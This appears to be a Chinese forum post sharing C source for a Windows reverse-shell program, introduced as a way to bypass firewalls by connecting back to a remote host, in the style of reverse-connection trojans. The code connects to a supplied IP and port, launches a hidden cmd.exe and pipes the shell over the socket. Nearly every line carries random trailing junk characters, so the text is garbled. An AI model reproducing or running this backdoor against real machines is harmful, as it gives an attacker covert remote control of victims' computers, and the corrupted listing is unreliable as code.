这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "u(S2'DW'(
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/* ============================== *CeQY M
Rebound port in Windows NT J 16=!q()
By wind,2006/7 =$b-xsmeG
===============================*/ :%/\1$3P
#include <#xrrRhm}
#include u?q&K|
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#pragma comment(lib,"wsock32.lib") W[R]^2QAG
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void OutputShell(); rD0k%-{{
SOCKET sClient; /:#j?c
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a?zR8$t|
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void main(int argc,char **argv) 99F>n[5
{ [#7y[<.P
WSADATA stWsaData; =QrA0kQR
int nRet; J3H.%m!V
SOCKADDR_IN stSaiClient,stSaiServer; RI(=HzB
+ jp|Y?6Z
if(argc != 3) %S{o5txo
{ U:qF/%w
printf("Useage:\n\rRebound DestIP DestPort\n"); "w*@R8v
return; U+4HG
} jEZ
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WSAStartup(MAKEWORD(2,2),&stWsaData); jo_o`j
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "YuZ fL`bb
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stSaiClient.sin_family = AF_INET; Qn*6D
stSaiClient.sin_port = htons(0); xC)7eQn/R
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9U]pH%.9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ ]a)IMIh;
printf("Bind Socket Failed!\n"); w]n4KR4
return; ?LM:RADCm
} :ezA+=ENg
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stSaiServer.sin_family = AF_INET; l x7Kw%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;JYoW{2
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CP +4k.)*O
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^,Xa IP+[
{ .Nc_n5D6
printf("Connect Error!"); BjYOfu'~z
return; p[u4,
} \F[n`C"Is
OutputShell(); NP "ylMr7P
} j13riI3A
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void OutputShell() }0Y`|H\v
{ sqT^t!
char szBuff[1024]; gNTh% e
SECURITY_ATTRIBUTES stSecurityAttributes; iNXFk4
OSVERSIONINFO stOsversionInfo; 6>s=CiZB
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4X*Q6rW
STARTUPINFO stStartupInfo; +miR3~w.
char *szShell; A9t8`|1"%H
PROCESS_INFORMATION stProcessInformation; _1P`]+K\D$
unsigned long lBytesRead; zb>;?et;)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); uNy!<u
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n%*tMr9 s
stSecurityAttributes.lpSecurityDescriptor = 0; Y3<b~!f
stSecurityAttributes.bInheritHandle = TRUE; n6/f an;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); y=#j`MH{>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4b=Gg
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 7u|%^Ao6
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Si]X
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stStartupInfo.wShowWindow = SW_HIDE; ^(DL+r,
stStartupInfo.hStdInput = hReadPipe; rfc|`*m}0
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _\UIc;3Gl
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GetVersionEx(&stOsversionInfo); D&-vq,c
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switch(stOsversionInfo.dwPlatformId) ^;4YZwW5w
{
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case 1: UG # X/%p
szShell = "command.com"; >P<'L4;
break; !UVk9
default: me:iQ.g
szShell = "cmd.exe"; R B%:h-t4
break; vbaC+AiX
} (Igu:=
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )T/J
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send(sClient,szMsg,77,0); Fo(y7$33*
while(1) 8+ hhdy*b
{ Wt:~S/l
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <S&]$?`{Wi
if(lBytesRead) ?9Ma^C;}
{ :]-$dEu&
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8gAu7\p}
send(sClient,szBuff,lBytesRead,0); ;Yv14{T!
} ZJvo9!DL|
else h;nQxmJ9
{ %4/xH9
lBytesRead=recv(sClient,szBuff,1024,0); ntZ~m
if(lBytesRead<=0) break; OT@yPG
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); jqtVpNwM
}
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} :X Lp
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return; ^e%k~B^
}